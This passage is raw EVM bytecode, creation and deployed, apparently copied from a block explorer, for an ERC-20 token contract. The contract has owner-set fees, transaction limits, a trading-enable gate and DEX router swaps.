4441565b82525050565b6000614dde8383614dc3565b60208301905092915050565b6000602082019050919050565b6000614e0282614d97565b614e0c8185614da2565b9350614e1783614db3565b8060005b83811015614e48578151614e2f8882614dd2565b9750614e3a83614dea565b925050600181019050614e1b565b5085935050505092915050565b6000608082019050614e6a6000830187614d88565b8181036020830152614e7c8186614df7565b9050614e8b60408301856144ac565b614e9860608301846143f2565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614efd6024836144e1565b9150614f0882614ea1565b604082019050919050565b60006020820190508181036000830152614f2c81614ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f8f6022836144e1565b9150614f9a82614f33565b604082019050919050565b60006020820190508181036000830152614fbe81614f82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150216025836144e1565b915061502c82614fc5565b604082019050919050565b6000602082019050818103600083015261505081615014565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150b36023836144e1565b91506150be82615057565b604082019050919050565b600060208201905081810360008301526150e2816150a6565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000615145603f836144e1565b9150615150826150e9565b604082019050919050565b6000602082019050818103600083015261517481615138565b9050919050565b6000615186826143e8565b9150615191836143e8565b92508282039050818111156151a9576151a8614b77565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006151e5601b836144e1565b91506151f0826151af565b602082019050919050565b60006020820190508181036000830152615214816151d8565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006152516011836144e1565b915061525c8261521b565b602082019050919050565b6000602082019050818103600083015261528081615244565b9050919050565b600060608201905061529c60008301866143f2565b6152a960208301856143f2565b6152b660408301846143f2565b949350505050565b60006152c9826143e8565b91506152d4836143e8565b92508282026152e2816143e8565b915082820484148315176152f9576152f8614b77565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061533a826143e8565b9150615345836143e8565b92508261535557615354615300565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006153bc6021836144e1565b91506153c782615360565b604082019050919050565b600060208201905081810360008301526153eb816153af565b9050919050565b600060a08201905061540760008301886143f2565b6154146020830187614d88565b81810360408301526154268186614df7565b905061543560608301856144ac565b61544260808301846143f2565b9695505050505050565b600060408201905061546160008301856143f2565b81810360208301526154738184614df7565b90509392505050565b600060c08201905061549160008301896144ac565b61549e60208301886143f2565b6154ab6040830187614d88565b6154b86060830186614d88565b6154c560808301856144ac565b6154d260a08301846143f2565b979650505050505050565b6000815190506154ec81614588565b92915050565b60008060006060848603121561550b5761550a61441c565b5b6000615519868287016154dd565b935050602061552a868287016154dd565b925050604061553b868287016154dd565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f4f8fb55135af43db280e7ea000b73ac2e871dc17d4715a80146ece1dd42e33064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103855760003560e01c80637d1db4a5116101d1578063d469801611610102578063f1d5f517116100a0578063fb002c971161006f578063fb002c9714610d25578063fc155d1d14610d50578063fd72e22a14610d79578063ffb54a9914610da45761038c565b8063f1d5f51714610c7f578063f2fde38b14610ca8578063f84ba65d14610cd1578063f872858a14610cfa5761038c565b8063e37ba8f9116100dc578063e37ba8f914610bdb578063ec28438a14610c04578063eea5b63f14610c2d578063ef422a1814610c565761038c565b8063d469801614610b48578063dd62ed3e14610b73578063e10e9f3214610bb05761038c565b8063a073d37f1161016f578063a9059cbb11610149578063a9059cbb14610a78578063ac23ca5914610ab5578063c816841b14610ae0578063c867d60b14610b0b5761038c565b8063a073d37f146109e5578063a08e671f14610a10578063a457c2d714610a3b5761038c565b8063844d591c116101ab578063844d591c1461093d578063876b6f8e146109665780638da5cb5b1461098f57806395d89b41146109ba5761038c565b80637d1db4a5146108bc578063807c2d9c146108e757806382d20116146109125761038c565b80632b112e49116102b65780633ecad2711161025457806370a082311161022357806370a0823114610826578063715018a6146108635780637849c1cd1461087a5780637c519ffb146108a55761038c565b80633ecad271146107585780634b743995146107955780635342acb4146107c05780636db79437146107fd5761038c565b806330d5d18d1161029057806330d5d18d1461069e578063313ce567146106c757806339509351146106f25780633b97084a1461072f5761038c565b80632b112e491461061d5780632baa7217146106485780632e97766d146106735761038c565b806318160ddd116103235780632198cf6c116102fd5780632198cf6c1461056357806323b872dd1461058c5780632563ae83146105c957806327c8f835146105f25761038c565b806318160ddd146104e257806319c59e2c1461050d5780631a8145bb146105385761038c565b8063095ea7b31161035f578063095ea7b3146104245780630e47e822146104615780631107b3a51461048c5780631694505e146104b75761038c565b8063031d6cd01461039157806304db6e68146103bc57806306fdde03146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610dcf565b6040516103b39190614401565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de919061447f565b610dd5565b6040516103f091906144bb565b60405180910390f35b34801561040557600080fd5b5061040e6112d8565b60405161041b9190614566565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906145b4565b61136a565b604051610458919061460f565b60405180910390f35b34801561046d57600080fd5b50610476611388565b6040516104839190614401565b60405180910390f35b34801561049857600080fd5b506104a161138e565b6040516104ae9190614401565b60405180910390f35b3480156104c357600080fd5b506104cc611394565b6040516104d99190614689565b60405180910390f35b3480156104ee57600080fd5b506104f76113ba565b6040516105049190614401565b60405180910390f35b34801561051957600080fd5b506105226113c4565b60405161052f9190614401565b60405180910390f35b34801561054457600080fd5b5061054d6113ca565b60405161055a9190614401565b60405180910390f35b34801561056f57600080fd5b5061058a600480360381019061058591906146d0565b6113d0565b005b34801561059857600080fd5b506105b360048036038101906105ae9190614710565b6114c0565b6040516105c0919061460f565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190614763565b61159a565b005b3480156105fe57600080fd5b5061060761164c565b60405161061491906144bb565b60405180910390f35b34801561062957600080fd5b50610632611670565b60405161063f9190614401565b60405180910390f35b34801561065457600080fd5b5061065d6116b4565b60405161066a9190614401565b60405180910390f35b34801561067f57600080fd5b506106886116ba565b6040516106959190614401565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061447f565b6116c2565b005b3480156106d357600080fd5b506106dc611958565b6040516106e991906147ac565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906145b4565b61196f565b604051610726919061460f565b60405180910390f35b34801561073b57600080fd5b50610756600480360381019061075191906147c7565b611a22565b005b34801561076457600080fd5b5061077f600480360381019061077a919061447f565b611ac1565b60405161078c919061460f565b60405180910390f35b3480156107a157600080fd5b506107aa611ae1565b6040516107b79190614401565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e2919061447f565b611ae7565b6040516107f4919061460f565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f91906147f4565b611b07565b005b34801561083257600080fd5b5061084d6004803603810190610848919061447f565b611bf1565b60405161085a9190614401565b60405180910390f35b34801561086f57600080fd5b50610878611c3a565b005b34801561088657600080fd5b5061088f611d8d565b60405161089c9190614401565b60405180910390f35b3480156108b157600080fd5b506108ba611d93565b005b3480156108c857600080fd5b506108d1611e45565b6040516108de9190614401565b60405180910390f35b3480156108f357600080fd5b506108fc611e4b565b6040516109099190614401565b60405180910390f35b34801561091e57600080fd5b50610927611e51565b6040516109349190614401565b60405180910390f35b34801561094957600080fd5b50610964600480360381019061095f91906146d0565b611e57565b005b34801561097257600080fd5b5061098d600480360381019061098891906147f4565b611f47565b005b34801561099b57600080fd5b506109a4612031565b6040516109b191906144bb565b60405180910390f35b3480156109c657600080fd5b506109cf61205a565b6040516109dc9190614566565b60405180910390f35b3480156109f157600080fd5b506109fa6120ec565b604051610a079190614401565b60405180910390f35b348015610a1c57600080fd5b50610a256120f6565b604051610a329190614401565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d91906145b4565b6120fc565b604051610a6f919061460f565b60405180910390f35b348015610a8457600080fd5b50610a9f6004803603810190610a9a91906145b4565b6121c9565b604051610aac919061460f565b60405180910390f35b348015610ac157600080fd5b50610aca6121e8565b604051610ad79190614401565b60405180910390f35b348015610aec57600080fd5b50610af56121ee565b604051610b0291906144bb565b60405180910390f35b348015610b1757600080fd5b50610b326004803603810190610b2d919061447f565b612214565b604051610b3f919061460f565b60405180910390f35b348015610b5457600080fd5b50610b5d612234565b604051610b6a9190614855565b60405180910390f35b348015610b7f57600080fd5b50610b9a6004803603810190610b959190614870565b61225a565b604051610ba79190614401565b60405180910390f35b348015610bbc57600080fd5b50610bc56122e1565b604051610bd29190614401565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd919061447f565b6122e7565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906147c7565b61257d565b005b348015610c3957600080fd5b50610c546004803603810190610c4f91906147f4565b61261c565b005b348015610c6257600080fd5b50610c7d6004803603810190610c7891906146d0565b61271e565b005b348015610c8b57600080fd5b50610ca66004803603810190610ca191906147c7565b61280e565b005b348015610cb457600080fd5b50610ccf6004803603810190610cca919061447f565b6128ad565b005b348015610cdd57600080fd5b50610cf86004803603810190610cf391906146d0565b612a6e565b005b348015610d0657600080fd5b50610d0f612b5e565b604051610d1c919061460f565b60405180910390f35b348015610d3157600080fd5b50610d3a612b71565b604051610d479190614401565b60405180910390f35b348015610d5c57600080fd5b50610d776004803603810190610d7291906147c7565b612b77565b005b348015610d8557600080fd5b50610d8e612e23565b604051610d9b9190614855565b60405180910390f35b348015610db057600080fd5b50610db9612e49565b604051610dc6919061460f565b60405180910390f35b600f5481565b6000610ddf612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e63906148fc565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190614931565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190614931565b6040518363ffffffff1660e01b8152600401610f8892919061495e565b602060405180830381865afa158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc99190614931565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190614931565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f99190614931565b6040518363ffffffff1660e01b815260040161111692919061495e565b6020604051808303816000875af1158015611135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111599190614931565b91505b81601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6060600180546112e7906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054611313906149b6565b80156113605780601f1061133557610100808354040283529160200191611360565b820191906000526020600020905b81548152906001019060200180831161134357829003601f168201915b5050505050905090565b600061137e611377612e5c565b8484612e64565b6001905092915050565b60105481565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b600c5481565b601e5481565b6113d8612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c906148fc565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006114cd84848461302d565b5061158f846114da612e5c565b61158a8560405180606001604052806028815260200161554660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611540612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b600190509392505050565b6115a2612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461162f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611626906148fc565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006116af61169e7f000000000000000000000000000000000000000000000000000000000000dead611bf1565b6006546136b990919063ffffffff16565b905090565b60135481565b600043905090565b6116ca612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd90614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f086aa05ff00214e2d0c7c02b8a46b2614ad955732e6b43aa8afca69ed1ad76f860405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000611a1861197c612e5c565b84611a13856005600061198d612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b612e64565b6001905092915050565b611a2a612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae906148fc565b60405180910390fd5b8060078190555050565b601b6020528060005260406000206000915054906101000a900460ff1681565b60115481565b60186020528060005260406000206000915054906101000a900460ff1681565b611b0f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b93906148fc565b60405180910390fd5b611ba68282613761565b600d54600c541115611bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be490614ac5565b60405180910390fd5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c42612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b611d9b612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1f906148fc565b60405180910390fd5b6001602060006101000a81548160ff021916908315150217905550565b60155481565b60165481565b600a5481565b611e5f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee3906148fc565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f4f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd3906148fc565b60405180910390fd5b611fe68282613789565b601154601054111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490614b57565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612069906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054612095906149b6565b80156120e25780601f106120b7576101008083540402835291602001916120e2565b820191906000526020600020905b8154815290600101906020018083116120c557829003601f168201915b5050505050905090565b6000600754905090565b60145481565b60006121bf612109612e5c565b846121ba8560405180606001604052806025815260200161556e6025913960056000612133612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b6001905092915050565b60006121dd6121d6612e5c565b848461302d565b506001905092915050565b60125481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60196020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6122ef612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461237c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612373906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e290614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e60405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612585612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612609906148fc565b60405180910390fd5b8060158190555050565b612624612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a8906148fc565b60405180910390fd5b81601281905550806013819055506013546012546126cf9190614ba6565b60148190555060646014541461271a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271190614c4c565b60405180910390fd5b5050565b612726612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa906148fc565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612816612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a906148fc565b60405180910390fd5b8060168190555050565b6128b5612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612942576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612939906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036129b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a890614cde565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a76612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afa906148fc565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900460ff1681565b601f5481565b612b7f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c03906148fc565b60405180910390fd5b6000600267ffffffffffffffff811115612c2957612c28614cfe565b5b604051908082528060200260200182016040528015612c575781602001602082028036833780820191505090505b509050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190614931565b81600081518110612cff57612cfe614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110612d4e57612d4d614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b8152600401612ded9493929190614e55565b6000604051808303818588803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eca90614f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3990614fa5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516130209190614401565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361309d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309490615037565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361310c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613103906150c9565b60405180910390fd5b602060009054906101000a900460ff1661319657613128612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614613195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318c9061515b565b60405180910390fd5b5b601d60149054906101000a900460ff16156131bd576131b68484846137b1565b905061364e565b6131c5612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156132335750613203612031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561324457613243848484613984565b5b600061324f30611bf1565b905060006007548210159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132b25750805b80156132cb5750601d60149054906101000a900460ff16155b80156133215750601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133305761332f82613b36565b5b6133b9846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061349f5750601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6134b3576134ae878787613cee565b6134b5565b845b9050601760009054906101000a900460ff16801561351d5750601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561354c576016546135408261353289611bf1565b61370390919063ffffffff16565b111561354b57600080fd5b5b61359e81600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161363e9190614401565b60405180910390a3600193505050505b9392505050565b600083831115829061369d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136949190614566565b60405180910390fd5b50600083856136ac919061517b565b9050809150509392505050565b60006136fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613655565b905092915050565b60008082846137129190614ba6565b905083811015613757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374e906151fb565b60405180910390fd5b8091505092915050565b81600b8190555080600a81905550600a54600b5461377f9190614ba6565b600c819055505050565b81600f8190555080600e81905550600e54600f546137a79190614ba6565b6010819055505050565b600061383c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff